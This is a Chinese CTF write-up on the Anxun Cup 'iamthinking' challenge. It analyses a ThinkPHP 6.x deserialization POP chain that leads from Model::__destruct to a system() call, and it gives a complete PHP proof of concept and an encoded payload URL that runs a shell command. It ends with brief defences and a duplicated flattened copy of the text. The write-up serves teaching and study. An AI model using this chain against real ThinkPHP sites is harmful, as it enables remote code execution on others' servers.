从安洵杯学习thinkphp 6.x反序列化POP链
字数 922 2025-08-18 11:39:08

ThinkPHP 6.x 反序列化POP链分析与利用

前言

本文基于安洵杯CTF题目"iamthinking"中涉及的ThinkPHP 6.x反序列化漏洞进行分析,详细讲解其POP链构造原理和利用方法。

漏洞环境

题目关键源码如下:

namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        echo "";
        $paylaod = @$_GET['payload'];
        if(isset($paylaod))
        {
            $url = parse_url($_SERVER['REQUEST_URI']);
            parse_str($url['query'],$query);
            foreach($query as $value)
            {
                if(preg_match("/^O/i",$value))
                {
                    die('STOP HACKING');
                    exit();
                }
            }
            unserialize($paylaod);
        }
    }
}

漏洞分析

反序列化入口

代码中存在unserialize($paylaod)调用,且通过正则过滤了以"O"开头的字符串(防止直接反序列化对象),需要绕过此限制。

POP链概述

完整的POP链调用流程如下:

think\Model --> __destruct()
think\Model --> save()
think\Model --> updateData()
think\Model --> checkAllowFields()
think\Model --> db()

think\model\concern\Conversion --> __toString()
think\model\concern\Conversion --> toJson()
think\model\concern\Conversion --> toArray()
think\model\concern\Attribute --> getAttr()
think\model\concern\Attribute --> getValue()

详细利用链分析

前半部分利用链

  1. __destruct()触发

    public function __destruct()
    {
        if ($this->lazySave) {
            $this->save();
        }
    }
    

    需要设置$this->lazySave = true

  2. save()方法

    public function save(array $data = [], string $sequence = null): bool
    {
        $this->setAttrs($data);
        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }
        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
        // ...
    }
    

    需要满足:

    • $this->isEmpty() == false$this->data不为空
    • $this->trigger() == true$this->withEvent = false
    • $this->exists = true
  3. updateData()方法

    protected function updateData(): bool
    {
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }
        $this->checkData();
        $data = $this->getChangedData();
        if (empty($data)) {
            return true;
        }
        $allowFields = $this->checkAllowFields();
    }
    

    需要$data不为空 → $this->force = true

  4. checkAllowFields()方法

    protected function checkAllowFields(): array
    {
        if (empty($this->field)) {
            if (!empty($this->schema)) {
                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
            } else {
                $query = $this->db();
                // ...
            }
        }
    }
    

    需要$this->field$this->schema为空

  5. db()方法

    public function db($scope = []): Query
    {
        $query = self::$db->connect($this->connection)
            ->name($this->name . $this->suffix)
            ->pk($this->pk);
    }
    

    需要$this->connection = 'mysql',并触发字符串拼接操作$this->name . $this->suffix

后半部分利用链

  1. __toString()触发

    public function __toString()
    {
        return $this->toJson();
    }
    
  2. toJson()方法

    public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
    {
        return json_encode($this->toArray(), $options);
    }
    
  3. toArray()方法

    public function toArray(): array
    {
        $data = array_merge($this->data, $this->relation);
        foreach ($data as $key => $val) {
            // ...
            $item[$key] = $this->getAttr($key);
        }
        return $item;
    }
    
  4. getAttr()方法

    public function getAttr(string $name)
    {
        try {
            $value = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            // ...
        }
        return $this->getValue($name, $value, $relation);
    }
    
  5. getValue()方法 - 最终触发点

    protected function getValue(string $name, $value, $relation = false)
    {
        if (isset($this->withAttr[$fieldName])) {
            $closure = $this->withAttr[$fieldName];  // ["axin"=>"system"]
            $value = $closure($value, $this->data);  // system("ls", ["axin"=>"ls"])
        }
        // ...
    }
    

完整PoC构造

<?php
namespace think\model\concern;
trait Conversion
{
}

trait Attribute
{
    private $data;
    private $withAttr = ["axin" => "system"];

    public function get()
    {
        $this->data = ["axin" => "ls"];  // 要执行的命令
    }
}

namespace think;
abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave = false;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $field = [];
    protected $schema = [];
    protected $connection='mysql';
    protected $name;
    protected $suffix = '';
    function __construct(){
        $this->get();
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->field = [];
        $this->schema = [];
        $this->connection = 'mysql';
    }
}

namespace think\model;
use think\Model;

class Pivot extends Model
{
    function __construct($obj='')
    {
        parent::__construct();
        $this->name = $obj;
    }
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(base64_encode(serialize($b)));

利用方法

  1. 生成Payload:

    $a = new Pivot();
    $b = new Pivot($a);
    echo urlencode(base64_encode(serialize($b)));
    
  2. 发送请求:

    /index.php/index/unser?p=TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7czowOiIiO3M6OToiACoAc3VmZml4IjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJheGluIjtzOjI6ImxzIjt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NDoiYXhpbiI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBzdWZmaXgiO3M6MDoiIjtzOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjQ6ImF4aW4iO3M6MjoibHMiO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo0OiJheGluIjtzOjY6InN5c3RlbSI7fX0%3D
    

防御措施

  1. 避免反序列化用户可控数据
  2. 使用白名单限制反序列化的类
  3. 更新到最新版本的ThinkPHP
  4. 对反序列化操作进行严格的输入过滤

参考链接

  1. https://xz.aliyun.com/t/6619
  2. https://xz.aliyun.com/t/6479
  3. https://www.anquanke.com/post/id/187393
  4. https://www.anquanke.com/post/id/187332
ThinkPHP 6.x 反序列化POP链分析与利用 前言 本文基于安洵杯CTF题目"iamthinking"中涉及的ThinkPHP 6.x反序列化漏洞进行分析,详细讲解其POP链构造原理和利用方法。 漏洞环境 题目关键源码如下: 漏洞分析 反序列化入口 代码中存在 unserialize($paylaod) 调用,且通过正则过滤了以"O"开头的字符串(防止直接反序列化对象),需要绕过此限制。 POP链概述 完整的POP链调用流程如下: 详细利用链分析 前半部分利用链 __ destruct()触发 需要设置 $this->lazySave = true save()方法 需要满足: $this->isEmpty() == false → $this->data 不为空 $this->trigger() == true → $this->withEvent = false $this->exists = true updateData()方法 需要 $data 不为空 → $this->force = true checkAllowFields()方法 需要 $this->field 和 $this->schema 为空 db()方法 需要 $this->connection = 'mysql' ,并触发字符串拼接操作 $this->name . $this->suffix 后半部分利用链 __ toString()触发 toJson()方法 toArray()方法 getAttr()方法 getValue()方法 - 最终触发点 完整PoC构造 利用方法 生成Payload: 发送请求: 防御措施 避免反序列化用户可控数据 使用白名单限制反序列化的类 更新到最新版本的ThinkPHP 对反序列化操作进行严格的输入过滤 参考链接 https://xz.aliyun.com/t/6619 https://xz.aliyun.com/t/6479 https://www.anquanke.com/post/id/187393 https://www.anquanke.com/post/id/187332